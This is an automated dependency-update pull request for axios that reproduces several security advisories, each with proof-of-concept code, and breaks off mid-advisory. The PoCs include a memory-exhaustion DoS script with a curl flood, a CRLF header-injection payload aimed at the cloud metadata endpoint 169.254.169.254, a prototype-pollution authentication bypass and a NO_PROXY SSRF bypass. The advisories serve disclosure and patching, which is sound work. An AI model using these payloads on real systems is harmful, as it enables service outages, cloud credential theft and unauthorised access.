Update dependency axios to ^0.32.0 [SECURITY]

[renovate]

ℹ️ Note

This PR body was truncated due to platform limits.

This PR contains the following updates:

Package	Change	Age	Confidence
axios (source)	^0.28.0 → ^0.32.0

---

Axios is vulnerable to DoS attack through lack of data size check

CVE-2025-58754 / GHSA-4hjh-wcwx-xvwj

More information

Details

Summary

When Axios runs on Node.js and is given a URL with the data: scheme, it does not perform HTTP. Instead, its Node http adapter decodes the entire payload into memory (Buffer/Blob) and returns a synthetic 200 response.
This path ignores maxContentLength / maxBodyLength (which only protect HTTP responses), so an attacker can supply a very large data: URI and cause the process to allocate unbounded memory and crash (DoS), even if the caller requested responseType: 'stream'.

Details

The Node adapter (lib/adapters/http.js) supports the data: scheme. When axios encounters a request whose URL starts with data:, it does not perform an HTTP request. Instead, it calls fromDataURI() to decode the Base64 payload into a Buffer or Blob.

Relevant code from [httpAdapter](https://redirect.github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/adapters/http.js#L231):

const fullPath = buildFullPath(config.baseURL, config.url, config.allowAbsoluteUrls);
const parsed = new URL(fullPath, platform.hasBrowserEnv ? platform.origin : undefined);
const protocol = parsed.protocol || supportedProtocols[0];

if (protocol === 'data:') {
  let convertedData;
  if (method !== 'GET') {
    return settle(resolve, reject, { status: 405, ... });
  }
  convertedData = fromDataURI(config.url, responseType === 'blob', {
    Blob: config.env && config.env.Blob
  });
  return settle(resolve, reject, { data: convertedData, status: 200, ... });
}

The decoder is in [lib/helpers/fromDataURI.js](https://redirect.github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/helpers/fromDataURI.js#L27):

export default function fromDataURI(uri, asBlob, options) {
  ...
  if (protocol === 'data') {
    uri = protocol.length ? uri.slice(protocol.length + 1) : uri;
    const match = DATA_URL_PATTERN.exec(uri);
    ...
    const body = match[3];
    const buffer = Buffer.from(decodeURIComponent(body), isBase64 ? 'base64' : 'utf8');
    if (asBlob) { return new _Blob([buffer], {type: mime}); }
    return buffer;
  }
  throw new AxiosError('Unsupported protocol ' + protocol, ...);
}

• The function decodes the entire Base64 payload into a Buffer with no size limits or sanity checks.
• It does not honour config.maxContentLength or config.maxBodyLength, which only apply to HTTP streams.
• As a result, a data: URI of arbitrary size can cause the Node process to allocate the entire content into memory.

In comparison, normal HTTP responses are monitored for size, the HTTP adapter accumulates the response into a buffer and will reject when totalResponseBytes exceeds [maxContentLength](https://redirect.github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/adapters/http.js#L550). No such check occurs for data: URIs.

PoC

const axios = require('axios');

async function main() {
  // this example decodes ~120 MB
  const base64Size = 160_000_000; // 120 MB after decoding
  const base64 = 'A'.repeat(base64Size);
  const uri = 'data:application/octet-stream;base64,' + base64;

  console.log('Generating URI with base64 length:', base64.length);
  const response = await axios.get(uri, {
    responseType: 'arraybuffer'
  });

  console.log('Received bytes:', response.data.length);
}

main().catch(err => {
  console.error('Error:', err.message);
});

Run with limited heap to force a crash:

node --max-old-space-size=100 poc.js

Since Node heap is capped at 100 MB, the process terminates with an out-of-memory error:

<--- Last few GCs --->
…
FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory
1: 0x… node::Abort() …
…

Mini Real App PoC:
A small link-preview service that uses axios streaming, keep-alive agents, timeouts, and a JSON body. It allows data: URLs which axios fully ignore maxContentLength , maxBodyLength and decodes into memory on Node before streaming enabling DoS.

import express from "express";
import morgan from "morgan";
import axios from "axios";
import http from "node:http";
import https from "node:https";
import { PassThrough } from "node:stream";

const keepAlive = true;
const httpAgent = new http.Agent({ keepAlive, maxSockets: 100 });
const httpsAgent = new https.Agent({ keepAlive, maxSockets: 100 });
const axiosClient = axios.create({
  timeout: 10000,
  maxRedirects: 5,
  httpAgent, httpsAgent,
  headers: { "User-Agent": "axios-poc-link-preview/0.1 (+node)" },
  validateStatus: c => c >= 200 && c < 400
});

const app = express();
const PORT = Number(process.env.PORT || 8081);
const BODY_LIMIT = process.env.MAX_CLIENT_BODY || "50mb";

app.use(express.json({ limit: BODY_LIMIT }));
app.use(morgan("combined"));

app.get("/healthz", (req,res)=>res.send("ok"));

/**
 * POST /preview { "url": "<http|https|data URL>" }
 * Uses axios streaming but if url is data:, axios fully decodes into memory first (DoS vector).
 */

app.post("/preview", async (req, res) => {
  const url = req.body?.url;
  if (!url) return res.status(400).json({ error: "missing url" });

  let u;
  try { u = new URL(String(url)); } catch { return res.status(400).json({ error: "invalid url" }); }

  // Developer allows using data:// in the allowlist
  const allowed = new Set(["http:", "https:", "data:"]);
  if (!allowed.has(u.protocol)) return res.status(400).json({ error: "unsupported scheme" });

  const controller = new AbortController();
  const onClose = () => controller.abort();
  res.on("close", onClose);

  const before = process.memoryUsage().heapUsed;

  try {
    const r = await axiosClient.get(u.toString(), {
      responseType: "stream",
      maxContentLength: 8 * 1024, // Axios will ignore this for data:
      maxBodyLength: 8 * 1024,    // Axios will ignore this for data:
      signal: controller.signal
    });

    // stream only the first 64KB back
    const cap = 64 * 1024;
    let sent = 0;
    const limiter = new PassThrough();
    r.data.on("data", (chunk) => {
      if (sent + chunk.length > cap) { limiter.end(); r.data.destroy(); }
      else { sent += chunk.length; limiter.write(chunk); }
    });
    r.data.on("end", () => limiter.end());
    r.data.on("error", (e) => limiter.destroy(e));

    const after = process.memoryUsage().heapUsed;
    res.set("x-heap-increase-mb", ((after - before)/1024/1024).toFixed(2));
    limiter.pipe(res);
  } catch (err) {
    const after = process.memoryUsage().heapUsed;
    res.set("x-heap-increase-mb", ((after - before)/1024/1024).toFixed(2));
    res.status(502).json({ error: String(err?.message || err) });
  } finally {
    res.off("close", onClose);
  }
});

app.listen(PORT, () => {
  console.log(`axios-poc-link-preview listening on http://0.0.0.0:${PORT}`);
  console.log(`Heap cap via NODE_OPTIONS, JSON limit via MAX_CLIENT_BODY (default ${BODY_LIMIT}).`);
});

Run this app and send 3 post requests:

SIZE_MB=35 node -e 'const n=+process.env.SIZE_MB*1024*1024; const b=Buffer.alloc(n,65).toString("base64"); process.stdout.write(JSON.stringify({url:"data:application/octet-stream;base64,"+b}))' \
| tee payload.json >/dev/null
seq 1 3 | xargs -P3 -I{} curl -sS -X POST "$URL" -H 'Content-Type: application/json' --data-binary @​payload.json -o /dev/null```

---

Suggestions

1. Enforce size limits
   For protocol === 'data:', inspect the length of the Base64 payload before decoding. If config.maxContentLength or config.maxBodyLength is set, reject URIs whose payload exceeds the limit.

2. Stream decoding
   Instead of decoding the entire payload in one Buffer.from call, decode the Base64 string in chunks using a streaming Base64 decoder. This would allow the application to process the data incrementally and abort if it grows too large.

Severity

• CVSS Score: 7.5 / 10 (High)
• Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

• https://github.com/axios/axios/security/advisories/GHSA-4hjh-wcwx-xvwj
• https://github.com/axios/axios/pull/7011
• https://github.com/axios/axios/commit/945435fc51467303768202250debb8d4ae892593
• https://github.com/axios/axios/releases/tag/v1.12.0
• https://nvd.nist.gov/vuln/detail/CVE-2025-58754
• https://github.com/axios/axios/pull/7034
• https://github.com/axios/axios/commit/a1b1d3f073a988601583a604f5f9f5d05a3d0b67
• https://github.com/axios/axios/releases/tag/v0.30.2
• https://github.com/axios/axios/commit/c30252f685e8f4326722de84923fcbc8cf557f06
• https://github.com/advisories/GHSA-4hjh-wcwx-xvwj

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

Axios is Vulnerable to Denial of Service via proto Key in mergeConfig

CVE-2026-25639 / GHSA-43fc-jf86-j433

More information

Details

Denial of Service via proto Key in mergeConfig

Summary

The mergeConfig function in axios crashes with a TypeError when processing configuration objects containing __proto__ as an own property. An attacker can trigger this by providing a malicious configuration object created via JSON.parse(), causing complete denial of service.

Details

The vulnerability exists in lib/core/mergeConfig.js at lines 98-101:

utils.forEach(Object.keys({ ...config1, ...config2 }), function computeConfigValue(prop) {
  const merge = mergeMap[prop] || mergeDeepProperties;
  const configValue = merge(config1[prop], config2[prop], prop);
  (utils.isUndefined(configValue) && merge !== mergeDirectKeys) || (config[prop] = configValue);
});

When prop is '__proto__':

1. JSON.parse('{"__proto__": {...}}') creates an object with __proto__ as an own enumerable property
2. Object.keys() includes '__proto__' in the iteration
3. mergeMap['__proto__'] performs prototype chain lookup, returning Object.prototype (truthy object)
4. The expression mergeMap[prop] || mergeDeepProperties evaluates to Object.prototype
5. Object.prototype(...) throws TypeError: merge is not a function

The mergeConfig function is called by:

• Axios._request() at lib/core/Axios.js:75
• Axios.getUri() at lib/core/Axios.js:201
• All HTTP method shortcuts (get, post, etc.) at lib/core/Axios.js:211,224

PoC

import axios from "axios";

const maliciousConfig = JSON.parse('{"__proto__": {"x": 1}}');
await axios.get("https://httpbin.org/get", maliciousConfig);

Reproduction steps:

1. Clone axios repository or npm install axios
2. Create file poc.mjs with the code above
3. Run: node poc.mjs
4. Observe the TypeError crash

Verified output (axios 1.13.4):

TypeError: merge is not a function
    at computeConfigValue (lib/core/mergeConfig.js:100:25)
    at Object.forEach (lib/utils.js:280:10)
    at mergeConfig (lib/core/mergeConfig.js:98:9)

Control tests performed:

Test	Config	Result
Normal config	{"timeout": 5000}	SUCCESS
Malicious config	JSON.parse('{"__proto__": {"x": 1}}')	CRASH
Nested object	{"headers": {"X-Test": "value"}}	SUCCESS

Attack scenario:
An application that accepts user input, parses it with JSON.parse(), and passes it to axios configuration will crash when receiving the payload {"__proto__": {"x": 1}}.

Impact

Denial of Service - Any application using axios that processes user-controlled JSON and passes it to axios configuration methods is vulnerable. The application will crash when processing the malicious payload.

Affected environments:

• Node.js servers using axios for HTTP requests
• Any backend that passes parsed JSON to axios configuration

This is NOT prototype pollution - the application crashes before any assignment occurs.

Severity

• CVSS Score: 7.5 / 10 (High)
• Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

• https://github.com/axios/axios/security/advisories/GHSA-43fc-jf86-j433
• https://github.com/axios/axios/pull/7369
• https://github.com/axios/axios/commit/28c721588c7a77e7503d0a434e016f852c597b57
• https://github.com/axios/axios/releases/tag/v1.13.5
• https://nvd.nist.gov/vuln/detail/CVE-2026-25639
• https://github.com/axios/axios/pull/7388
• https://github.com/axios/axios/commit/d7ff1409c68168d3057fc3891f911b2b92616f9e
• https://github.com/axios/axios/releases/tag/v0.30.3
• https://github.com/advisories/GHSA-43fc-jf86-j433

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

Axios has Unrestricted Cloud Metadata Exfiltration via Header Injection Chain

CVE-2026-40175 / GHSA-fvcv-3m26-pcqx

More information

Details

Vulnerability Disclosure: Unrestricted Cloud Metadata Exfiltration via Header Injection Chain

Summary

The Axios library is vulnerable to a specific gadget-style attack chain in which prototype pollution in a third-party dependency may be leveraged to inject unsanitized header values into outbound requests.

Axios can be used as a gadget after pollution occurs elsewhere because header values merged from attacker-controlled prototype properties are not sanitized for CRLF (\r\n) characters before being written to the request. In affected deployments, this may enable limited request manipulation or metadata access as part of a higher-complexity exploit chain.

Severity: Moderate (CVSS 3.1 Base Score: 4.8)
Affected Versions: All versions (v0.x - v1.x)
Vulnerable Component: lib/adapters/http.js (Header Processing)

Usage of "Helper" Vulnerabilities

This issue requires a separate prototype pollution vulnerability in another library in the application stack (for example, qs, minimist, ini, or body-parser). If an attacker can pollute Object.prototype, Axios may pick up the polluted properties during config merge.

Because Axios does not sanitise these merged header values for CRLF (\r\n) characters, the polluted property can alter the structure of an outbound HTTP request.

Proof of Concept

1. The Setup (Simulated Pollution)

Imagine a scenario where a known vulnerability exists in a query parser. The attacker sends a payload that sets:

Object.prototype['x-amz-target'] = \"dummy\r\n\r\nPUT /latest/api/token HTTP/1.1\r\nHost: 169.254.169.254\r\nX-aws-ec2-metadata-token-ttl-seconds: 21600\r\n\r\nGET /ignore\";

2. The Gadget Trigger (Safe Code)

The application makes a completely safe, hardcoded request:

// This looks safe to the developer
await axios.get('https://analytics.internal/pings'); 

3. The Execution

Axios merges the prototype property x-amz-target into the request headers. It then writes the header value directly to the socket without validation.

Resulting HTTP traffic:

GET /pings HTTP/1.1
Host: analytics.internal
x-amz-target: dummy

PUT /latest/api/token HTTP/1.1
Host: 169.254.169.254
X-aws-ec2-metadata-token-ttl-seconds: 21600

GET /ignore HTTP/1.1
...

4. The Impact

In environments where requests can reach cloud metadata endpoints or sensitive internal services, the injected header content may help bypass expected request constraints and expose limited credentials or modify request semantics. This impact depends on application context and a separate prototype-pollution primitive.

Impact Analysis

• Confidentiality: May expose limited sensitive information in affected network environments.
• Integrity: May allow modification of outbound request structure or injected headers.
• Attack Complexity: Exploitation requires a separate prototype-pollution vulnerability and a reachable target service.

Recommended Fix

Validate all header values in lib/adapters/http.js and xhr.js before passing them to the underlying request function.

Patch Suggestion:

// In lib/adapters/http.js
utils.forEach(requestHeaders, function setRequestHeader(val, key) {
  if (/[\r\n]/.test(val)) {
    throw new Error('Security: Header value contains invalid characters');
  }
  // ... proceed to set header
});

References

• OWASP: CRLF Injection (CWE-113)

This report was generated as part of a security audit of the Axios library.

Severity

• CVSS Score: 4.8 / 10 (Medium)
• Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N

References

• https://github.com/axios/axios/security/advisories/GHSA-fvcv-3m26-pcqx
• https://github.com/axios/axios/commit/363185461b90b1b78845dc8a99a1f103d9b122a1
• https://github.com/axios/axios/releases/tag/v1.15.0
• https://nvd.nist.gov/vuln/detail/CVE-2026-40175
• https://github.com/axios/axios/pull/10660
• https://github.com/axios/axios/pull/10660#issuecomment-4224168081
• https://github.com/axios/axios/pull/10688
• https://github.com/axios/axios/commit/03cdfc99e8db32a390e12128208b6778492cee9c
• https://github.com/axios/axios/releases/tag/v0.31.0
• https://cert-portal.siemens.com/productcert/html/ssa-876049.html
• https://github.com/advisories/GHSA-fvcv-3m26-pcqx

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

Axios has a NO_PROXY Hostname Normalization Bypass that Leads to SSRF

CVE-2025-62718 / GHSA-3p68-rc4w-qgx5

More information

Details

Axios does not correctly handle hostname normalization when checking NO_PROXY rules.
Requests to loopback addresses like localhost. (with a trailing dot) or [::1] (IPv6 literal) skip NO_PROXY matching and go through the configured proxy.

This goes against what developers expect and lets attackers force requests through a proxy, even if NO_PROXY is set up to protect loopback or internal services.

According to RFC 1034 §3.1 and RFC 3986 §3.2.2, a hostname can have a trailing dot to show it is a fully qualified domain name (FQDN). At the DNS level, localhost. is the same as localhost.
However, Axios does a literal string comparison instead of normalizing hostnames before checking NO_PROXY. This causes requests like http://localhost.:8080/ and http://[::1]:8080/ to be incorrectly proxied.

This issue leads to the possibility of proxy bypass and SSRF vulnerabilities allowing attackers to reach sensitive loopback or internal services despite the configured protections.

---

PoC

import http from "http";
import axios from "axios";

const proxyPort = 5300;

http.createServer((req, res) => {
  console.log("[PROXY] Got:", req.method, req.url, "Host:", req.headers.host);
  res.writeHead(200, { "Content-Type": "text/plain" });
  res.end("proxied");
}).listen(proxyPort, () => console.log("Proxy", proxyPort));

process.env.HTTP_PROXY = `http://127.0.0.1:${proxyPort}`;
process.env.NO_PROXY = "localhost,127.0.0.1,::1";

async function test(url) {
  try {
    await axios.get(url, { timeout: 2000 });
  } catch {}
}

setTimeout(async () => {
  console.log("\n[*] Testing http://localhost.:8080/");
  await test("http://localhost.:8080/"); // goes through proxy

  console.log("\n[*] Testing http://[::1]:8080/");
  await test("http://[::1]:8080/"); // goes through proxy
}, 500);

Expected: Requests bypass the proxy (direct to loopback).
Actual: Proxy logs requests for localhost. and [::1].

---

Impact

• Applications that rely on NO_PROXY=localhost,127.0.0.1,::1 for protecting loopback/internal access are vulnerable.

• Attackers controlling request URLs can:

  • Force Axios to send local traffic through an attacker-controlled proxy.
  • Bypass SSRF mitigations relying on NO_PROXY rules.
  • Potentially exfiltrate sensitive responses from internal services via the proxy.

---

Affected Versions

• Confirmed on Axios 1.12.2 (latest at time of testing).
• affects all versions that rely on Axios’ current NO_PROXY evaluation.

---

Remediation
Axios should normalize hostnames before evaluating NO_PROXY, including:

• Strip trailing dots from hostnames (per RFC 3986).
• Normalize IPv6 literals by removing brackets for matching.

Severity

• CVSS Score: 6.3 / 10 (Medium)
• Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N

References

• https://github.com/axios/axios/security/advisories/GHSA-3p68-rc4w-qgx5
• https://nvd.nist.gov/vuln/detail/CVE-2025-62718
• https://github.com/axios/axios/pull/10661
• https://github.com/axios/axios/commit/fb3befb6daac6cad26b2e54094d0f2d9e47f24df
• https://datatracker.ietf.org/doc/html/rfc1034#section-3.1
• https://datatracker.ietf.org/doc/html/rfc3986#section-3.2.2
• https://github.com/axios/axios/releases/tag/v1.15.0
• https://github.com/axios/axios/pull/10688
• https://github.com/axios/axios/commit/03cdfc99e8db32a390e12128208b6778492cee9c
• https://github.com/axios/axios/releases/tag/v0.31.0
• https://github.com/advisories/GHSA-3p68-rc4w-qgx5

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

Axios: Null Byte Injection via Reverse-Encoding in AxiosURLSearchParams

CVE-2026-42040 / GHSA-xhjh-pmcv-23jw

More information

Details

Vulnerability Disclosure: Null Byte Injection via Reverse-Encoding in AxiosURLSearchParams

Summary

The encode() function in lib/helpers/AxiosURLSearchParams.js contains a character mapping (charMap) at line 21 that reverses the safe percent-encoding of null bytes. After encodeURIComponent('\x00') correctly produces the safe sequence %00, the charMap entry '%00': '\x00' converts it back to a raw null byte.

This is a clear encoding defect: every other charMap entry encodes in the safe direction (literal → percent-encoded), while this single entry decodes in the opposite (dangerous) direction.

Severity: Low (CVSS 3.7)
Affected Versions: All versions containing this charMap entry
Vulnerable Component: lib/helpers/AxiosURLSearchParams.js:21

CWE

• CWE-626: Null Byte Interaction Error (Poison Null Byte)
• CWE-116: Improper Encoding or Escaping of Output

CVSS 3.1

Score: 3.7 (Low)

Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N

Metric	Value	Justification
Attack Vector	Network	Attacker controls input parameters remotely
Attack Complexity	High	Standard axios request flow (buildURL) uses its own encode function which does NOT have this bug. Only triggered via direct AxiosURLSearchParams.toString() without an encoder, or via custom paramsSerializer delegation
Privileges Required	None	No authentication needed
User Interaction	None	No user interaction required
Scope	Unchanged	Impact limited to HTTP request URL
Confidentiality	None	No confidentiality impact
Integrity	Low	Null byte in URL can cause truncation in C-based backends, but requires a vulnerable downstream parser
Availability	None	No availability impact

Vulnerable Code

File: lib/helpers/AxiosURLSearchParams.js, lines 13-26

function encode(str) {
  const charMap = {
    '!': '%21',     // literal → encoded (SAFE direction)
    "'": '%27',     // literal → encoded (SAFE direction)
    '(': '%28',     // literal → encoded (SAFE direction)
    ')': '%29',     // literal → encoded (SAFE direction)
    '~': '%7E',     // literal → encoded (SAFE direction)
    '%20': '+',     // standard transformation (SAFE)
    '%00': '\x00',  // LINE 21: encoded → raw null byte (UNSAFE direction!)
  };
  return encodeURIComponent(str).replace(/[!'()~]|%20|%00/g, function replacer(match) {
    return charMap[match];
  });
}

Why the Standard Flow Is NOT Affected

// buildURL.js:36 — uses its OWN encode function (lines 14-20), not AxiosURLSearchParams's
const _encode = (options && options.encode) || encode;  // buildURL's encode

// buildURL.js:53 — passes buildURL's encode to AxiosURLSearchParams
new AxiosURLSearchParams(params, _options).toString(_encode);  // external encoder used

// AxiosURLSearchParams.js:48 — when encoder is provided, internal encode is NOT used
const _encode = encoder ? function(value) { return encoder.call(this, value, encode); } : encode;
//                                                                              ^^^^^^
//                                           internal encode passed as 2nd arg but only used if
//                                           the external encoder explicitly delegates to it

Proof of Concept

import AxiosURLSearchParams from './lib/helpers/AxiosURLSearchParams.js';
import buildURL from './lib/helpers/buildURL.js';

// Test 1: Direct AxiosURLSearchParams (VULNERABLE path)
const params = new AxiosURLSearchParams({ file: 'test\x00.txt' });
const result = params.toString();  // NO encoder → uses internal encode with charMap
console.log('Direct toString():', JSON.stringify(result));
// Output: "file=test\u0000.txt" (contains raw null byte)
console.log('Hex:', Buffer.from(result).toString('hex'));
// Output: 66696c653d74657374002e747874  (00 = null byte)

// Test 2: Via buildURL (NOT vulnerable — standard axios flow)
const url = buildURL('http://example.com/api', { file: 'test\x00.txt' });
console.log('Via buildURL:', url);
// Output: http://example.com/api?file=test%00.txt  (%00 preserved safely)

Verified PoC Output

Direct toString(): "file=test\u0000.txt"
Contains raw null byte: true
Hex: 66696c653d74657374002e747874

Via buildURL: http://example.com/api?file=test%00.txt
Contains raw null byte: false
Contains safe %00: true

Impact Analysis

Primary impact is limited because the standard axios request flow is not affected. However:

• Direct API users: Applications using AxiosURLSearchParams directly for custom serialization are affected
• Custom paramsSerializer: A paramsSerializer.encode that delegates to the internal encoder triggers the bug
• Code defect signal: The directional inconsistency in charMap is a clear coding error with no legitimate use case

If null bytes reach a downstream C-based parser, impacts include URL truncation, WAF bypass, and log injection.

Recommended Fix

Remove the %00 entry from charMap and update the regex:

function encode(str) {
  const charMap = {
    '!': '%21',
    "'": '%27',
    '(': '%28',
    ')': '%29',
    '~': '%7E',
    '%20': '+',
    // REMOVED: '%00': '\x00'
  };
  return encodeURIComponent(str).replace(/[!'()~]|%20/g, function replacer(match) {
    //                                           ^^^^ removed |%00
    return charMap[match];
  });
}

Resources

• CWE-626: Null Byte Interaction Error
• CWE-116: Improper Encoding or Escaping of Output
• OWASP: Embedding Null Code
• Axios GitHub Repository

Timeline

Date	Event
2026-04-15	Vulnerability discovered during source code audit
2026-04-16	Report revised: documented standard-flow limitation, corrected CVSS
TBD	Report submitted to vendor via GitHub Security Advisory

Severity

• CVSS Score: 3.7 / 10 (Low)
• Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N

References

• https://github.com/axios/axios/security/advisories/GHSA-xhjh-pmcv-23jw
• https://nvd.nist.gov/vuln/detail/CVE-2026-42040
• https://github.com/advisories/GHSA-xhjh-pmcv-23jw

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

Axios: Authentication Bypass via Prototype Pollution Gadget in validateStatus Merge Strategy

CVE-2026-42041 / GHSA-w9j2-pvgh-6h63

More information

Details

Vulnerability Disclosure: Authentication Bypass via Prototype Pollution Gadget in validateStatus Merge Strategy

Summary

The Axios library is vulnerable to a Prototype Pollution "Gadget" attack that allows any Object.prototype pollution to silently suppress all HTTP error responses (401, 403, 500, etc.), causing them to be treated as successful responses. This completely bypasses application-level authentication and error handling.

The root cause is that validateStatus is the only config property using the mergeDirectKeys merge strategy, which uses JavaScript's in operator — an operator that inherently traverses the prototype chain. When Object.prototype.validateStatus is polluted with () => true, all HTTP status codes are accepted as success.

Severity: High (CVSS 8.2)
Affected Versions: All versions (v0.x - v1.x including v1.15.0)
Vulnerable Component: lib/core/mergeConfig.js (mergeDirectKeys strategy) + lib/core/settle.js

CWE

• CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')
• CWE-287: Improper Authentication

CVSS 3.1

Score: 8.2 (High)

Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N

Metric	Value	Justification
Attack Vector	Network	PP is triggered remotely
Attack Complexity	Low	Once PP exists, a single property assignment exploits this. Consistent with GHSA-fvcv-3m26-pcqx
Privileges Required	None	No authentication needed
User Interaction	None	No user interaction required
Scope	Unchanged	Impact within the application
Confidentiality	Low	401 treated as success may expose data behind auth gates
Integrity	High	All error handling and auth checks are silently bypassed — application operates on invalid assumptions
Availability	None	The function works correctly (returns true), no crash

Usage of "Helper" Vulnerabilities

This vulnerability requires Zero Direct User Input.

If an attacker can pollute Object.prototype via any other library in the stack, Axios will automatically inherit the polluted validateStatus function during config merge. The in operator in mergeDirectKeys makes this property uniquely susceptible to prototype pollution compared to all other config properties.

Why validateStatus Is Uniquely Vulnerable

All other config properties use defaultToConfig2, which reads config2[prop] (traverses prototype). But validateStatus uses mergeDirectKeys, which uses the in operator:

// mergeConfig.js:58-64 — mergeDirectKeys (ONLY used by validateStatus)
function mergeDirectKeys(a, b, prop) {
  if (prop in config2) {           // ← `in` traverses prototype chain!
    return getMergedValue(a, b);
  } else if (prop in config1) {
    return getMergedValue(undefined, a);
  }
}

// mergeConfig.js:94
const mergeMap = {
  // ... all others use defaultToConfig2 ...
  validateStatus: mergeDirectKeys,   // ← ONLY property using this strategy
};

The in operator is a more aggressive prototype traversal than property access. While config2['validateStatus'] also traverses the prototype, the explicit in check makes the intent clearer and the vulnerability more direct.

Proof of Concept

1. The Setup (Simulated Pollution)

Object.prototype.validateStatus = () => true;

2. The Gadget Trigger (Safe Code)

// Application checks authentication via HTTP status codes
try {
  const response = await axios.get('https://api.internal/admin/users');
  // Developer expects: 401 → catch block → redirect to login
  // Reality: 401 → treated as success → displays admin data
  processAdminData(response.data);  // Executes with 401 response body!
} catch (error) {
  redirectToLogin();  // NEVER REACHED for 401/403/500
}

3. The Execution

// mergeConfig.js:58 — 'validateStatus' in config2
// config2 = { url: '/admin/users', method: 'get' }
// 'validateStatus' in config2 → checks prototype → finds () => true → TRUE
// → getMergedValue(defaultValidator, () => true) → returns () => true

// settle.js:16 — ALL status codes resolve
const validateStatus = response.config.validateStatus;  // () => true
if (!response.status || !validateStatus || validateStatus(response.status)) {
  resolve(response);  // 401, 403, 500 all resolve here!
}

4. The Impact

Before pollution:
  HTTP 200 → resolve (success)
  HTTP 401 → reject (auth error) → redirectToLogin()
  HTTP 403 → reject (forbidden) → showAccessDenied()
  HTTP 500 → reject (server error) → showErrorPage()

After pollution:
  HTTP 200 → resolve (success)
  HTTP 401 → resolve (SUCCESS!) → processAdminData() with error body
  HTTP 403 → resolve (SUCCESS!) → application thinks user has access
  HTTP 500 → resolve (SUCCESS!) → application processes error as data

Verified PoC Output

--- Before Pollution ---
401: REJECTED as expected - Request failed with status code 401
500: REJECTED as expected - Request failed with status code 500

--- After Pollution ---
200: RESOLVED as success (status: 200)
301: RESOLVED as success (status: 301)
401: RESOLVED as success (status: 401)
403: RESOLVED as success (status: 403)
404: RESOLVED as success (status: 404)
500: RESOLVED as success (status: 500)
503: RESOLVED as success (status: 503)

--- Authentication Bypass Demo ---
Auth check bypassed! 401 treated as success.
Application proceeds with: { status: 401, message: 'Response with status 401' }

Impact Analysis

• Authentication Bypass: Applications relying on axios rejecting 401/403 to enforce auth will silently accept unauthorized responses, allowing unauthenticated access to protected resources.
• Silent Error Swallowing: 500-series errors are treated as success, causing applications to process error bodies as valid data — leading to data corruption or logic errors.
• Security Control Bypass: Rate limiting (429), WAF blocks (403), and CAPTCHA challenges are suppressed.
• Universal Scope: Affects every axios instance in the application, including third-party libraries.

Recommended Fix

Replace the in operator with hasOwnProperty in mergeDirectKeys:

// FIXED: lib/core/mergeConfig.js
function mergeDirectKeys(a, b, prop) {
  if (Object.prototype.hasOwnProperty.call(config2, prop)) {
    return getMergedValue(a, b);
  } else if (Object.prototype.hasOwnProperty.call(config1, prop)) {
    return getMergedValue(undefined, a);
  }
}

Resources

• CWE-1321: Prototype Pollution
• CWE-287: Improper Authentication
• GHSA-fvcv-3m26-pcqx: Related PP Gadget in Axios
• MDN: in operator
• Axios GitHub Repository

Timeline

Date	Event
2026-04-15	Vulnerability discovered during source code audit
2026-04-15	PoC developed and vulnerability confirmed
2026-04-16	Report revised for accuracy
TBD	Report submitted to vendor via GitHub Security Advisory

Severity

• CVSS Score: 4.8 / 10 (Medium)
• Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N

References

• https://github.com/axios/axios/security/advisories/GHSA-w9j2-pvgh-6h63
• https://nvd.nist.gov/vuln/detail/CVE-2026-42041
• https://github.com/advisories/GHSA-w9j2-pvgh-6h63

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

Axios: Incomplete Fix for CVE-2025-62718 — NO_PROXY Protection Bypassed via RFC 1122 Loopback Subnet (127.0.0.0/8) in Axios 1.15.0

CVE-2026-42043 / GHSA-pmwg-cvhr-8vh7

More information

Details

1. Executive Summary
This report documents an incomplete security patch for the previously disclosed vulnerability GHSA-3p68-rc4w-qgx5 (CVE-2025-62718), which affects the NO_PROXY hostname resolution logic in the Axios HTTP library.

Background — The Original Vulnerability
The original vulnerability (GHSA-3p68-rc4w-qgx5) disclosed that Axios did not normalize hostnames before comparing them against NO_PROXY rules. Specifically, a request to http://localhost./ (with a trailing dot) or http://[::1]/ (with IPv6 bracket notation) would bypass NO_PROXY matching entirely and be forwarded to the configured HTTP proxy — even when NO_PROXY=localhost,127.0.0.1,::1 was explicitly set by the developer to protect loopback services.

The Axios maintainers addressed this in version 1.15.0 by introducing a normalizeNoProxyHost() function in lib/helpers/shouldBypassProxy.js, which strips trailing dots from hostnames and removes brackets from IPv6 literals before performing the NO_PROXY comparison.

The Incomplete Patch — This Finding
While the patch correctly addresses the specific cases reported (trailing dot normalization and IPv6 bracket removal), the fix is architecturally incomplete.

The patch introduced a hardcoded set of recognized loopback addresses:

// lib/helpers/shouldBypassProxy.js — Line 1
const LOOPBACK_ADDRESSES = new Set(['localhost', '127.0.0.1', '::1']);

However, RFC 1122 §3.2.1.3 explicitly defines the entire 127.0.0.0/8 subnet as the IPv4 loopback address block not just the single address 127.0.0.1. On all major operating systems (Linux, macOS, Windows with WSL), any IP address in the range 127.0.0.2 through 127.255.255.254 is a valid, functional loopback address that routes to the local machine.

